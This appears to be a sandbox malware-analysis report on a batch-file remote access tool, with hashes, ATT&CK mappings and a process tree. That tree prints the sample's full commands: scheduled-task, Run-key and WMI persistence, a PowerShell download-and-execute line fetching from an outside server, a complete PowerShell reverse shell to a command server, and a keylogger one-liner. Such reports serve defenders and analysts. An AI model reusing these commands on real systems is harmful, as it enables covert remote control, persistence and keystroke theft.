5f431e6803d401b6106adc6a5a7da31663b5ad35ca38f7c0e505d666218a2d4d

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 19:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
rat_build_90358_014302.bat
Size 4KB
Sample260529-yan1faft9n
SHA256 5f431e6803d401b6106adc6a5a7da31663b5ad35ca38f7c0e505d666218a2d4d
MD5 cfab1dac35f4430c953604ad96e53b13
SHA1 25a94749fdfb2e39db7ac4cb6ce9c19330d08a44
SHA512 1ba037db0f12aff0ac2b13f39a89549241cf7643cebcfc5aab85c417c3de7aef28dfd27170336b2386233897796fb0b13a4f83f4d18837a792490ece832c1757
SSDEEP 96:gR9IWCWIGkV9AA/x5ftE6BECagx7uEdX4AweVRQly/ZgZ3DiFgZk8mvlo1+iQy:y9rIGAA+i6BPRuEnwejT/Z0iFgkHldix
TLSH
T15AB1D61397AAA12189B06728D9373C18135CE5FB0304DE5EBB49CFD0398DA43D52DAD7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_90358.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2280	powershell.exe
3376	powershell.exe
5000	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_90358 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_90358.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3344	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
388	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2556	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1920	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2280	powershell.exe
2280	powershell.exe
3376	powershell.exe
3376	powershell.exe
5000	powershell.exe
5000	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4916	WMIC.exe
Token: SeSecurityPrivilege	4916	WMIC.exe
Token: SeTakeOwnershipPrivilege	4916	WMIC.exe
Token: SeLoadDriverPrivilege	4916	WMIC.exe
Token: SeSystemProfilePrivilege	4916	WMIC.exe
Token: SeSystemtimePrivilege	4916	WMIC.exe
Token: SeProfSingleProcessPrivilege	4916	WMIC.exe
Token: SeIncBasePriorityPrivilege	4916	WMIC.exe
Token: SeCreatePagefilePrivilege	4916	WMIC.exe
Token: SeBackupPrivilege	4916	WMIC.exe
Token: SeRestorePrivilege	4916	WMIC.exe
Token: SeShutdownPrivilege	4916	WMIC.exe
Token: SeDebugPrivilege	4916	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4916	WMIC.exe
Token: SeRemoteShutdownPrivilege	4916	WMIC.exe
Token: SeUndockPrivilege	4916	WMIC.exe
Token: SeManageVolumePrivilege	4916	WMIC.exe
Token: 33	4916	WMIC.exe
Token: 34	4916	WMIC.exe
Token: 35	4916	WMIC.exe
Token: 36	4916	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4916	WMIC.exe
Token: SeSecurityPrivilege	4916	WMIC.exe
Token: SeTakeOwnershipPrivilege	4916	WMIC.exe
Token: SeLoadDriverPrivilege	4916	WMIC.exe
Token: SeSystemProfilePrivilege	4916	WMIC.exe
Token: SeSystemtimePrivilege	4916	WMIC.exe
Token: SeProfSingleProcessPrivilege	4916	WMIC.exe
Token: SeIncBasePriorityPrivilege	4916	WMIC.exe
Token: SeCreatePagefilePrivilege	4916	WMIC.exe
Token: SeBackupPrivilege	4916	WMIC.exe
Token: SeRestorePrivilege	4916	WMIC.exe
Token: SeShutdownPrivilege	4916	WMIC.exe
Token: SeDebugPrivilege	4916	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4916	WMIC.exe
Token: SeRemoteShutdownPrivilege	4916	WMIC.exe
Token: SeUndockPrivilege	4916	WMIC.exe
Token: SeManageVolumePrivilege	4916	WMIC.exe
Token: 33	4916	WMIC.exe
Token: 34	4916	WMIC.exe
Token: 35	4916	WMIC.exe
Token: 36	4916	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2960	WMIC.exe
Token: SeSecurityPrivilege	2960	WMIC.exe
Token: SeTakeOwnershipPrivilege	2960	WMIC.exe
Token: SeLoadDriverPrivilege	2960	WMIC.exe
Token: SeSystemProfilePrivilege	2960	WMIC.exe
Token: SeSystemtimePrivilege	2960	WMIC.exe
Token: SeProfSingleProcessPrivilege	2960	WMIC.exe
Token: SeIncBasePriorityPrivilege	2960	WMIC.exe
Token: SeCreatePagefilePrivilege	2960	WMIC.exe
Token: SeBackupPrivilege	2960	WMIC.exe
Token: SeRestorePrivilege	2960	WMIC.exe
Token: SeShutdownPrivilege	2960	WMIC.exe
Token: SeDebugPrivilege	2960	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2960	WMIC.exe
Token: SeRemoteShutdownPrivilege	2960	WMIC.exe
Token: SeUndockPrivilege	2960	WMIC.exe
Token: SeManageVolumePrivilege	2960	WMIC.exe
Token: 33	2960	WMIC.exe
Token: 34	2960	WMIC.exe
Token: 35	2960	WMIC.exe
Token: 36	2960	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2960	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4304 wrote to memory of 1920	4304	cmd.exe	86
PID 4304 wrote to memory of 2556	4304	cmd.exe	87
PID 4304 wrote to memory of 4916	4304	cmd.exe	88
PID 4304 wrote to memory of 2960	4304	cmd.exe	89
PID 4304 wrote to memory of 4384	4304	cmd.exe	90
PID 4304 wrote to memory of 388	4304	cmd.exe	93
PID 4304 wrote to memory of 3344	4304	cmd.exe	98
PID 4304 wrote to memory of 2280	4304	cmd.exe	99
PID 4304 wrote to memory of 3376	4304	cmd.exe	101
PID 4304 wrote to memory of 5000	4304	cmd.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_90358_014302.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4304
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_90358" /tr "C:\Users\Admin\AppData\Local\Temp\_90358.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1920
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_90358" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_90358.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:2556
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_90358", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4916
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_90358", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_90358.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2960
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_90358.txt
  2⤵
  PID:4384
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:388
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:3344
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_90358.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5000

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a14b077dfcedd83bc50e8dea0e2848e549d5575cd0c594c9258d60f6eb204f70
MD5 7570c364c2d7fb721372cf5aacd5f9d1
SHA1 7090220fc139d30bc4a3898c9afa1a29c007083b
SHA512 b15f6db891886890efec0e4a21dc0caad53c37ca1d58ce51a845258a28a263bc222d66b8a016254ae9fa62935fca44e6d217d90a3d4f50813674a1c3f2a0d4e6
TLSH
T16A117627F39CC921CC96153A409DAC1172B683DB81AEDF9FAFC4D214A07F984CB712A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8c54d4148a9e2a3b524f471f99aa3d48778239ae494908b544ef8f014d7d0eee
MD5 5ed3bd9bc72e312aadc7571ad8786379
SHA1 c6cc90bf1250e7ec5cd7680a9689940cec6398da
SHA512 d020f76b71142f58c990f62354c568d9cee901a2e808d11d4e6d439aa3ffc36f070d613e3bd9522aaa1d44d3288c91c89fcf911600fdad9e96d3900c12941c47
TLSH
T18E115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_n2pykwmg.cis.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n2pykwmg.cis.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2280-3-0x0000018CD9500000-0x0000018CD9522000-memory.dmp

Download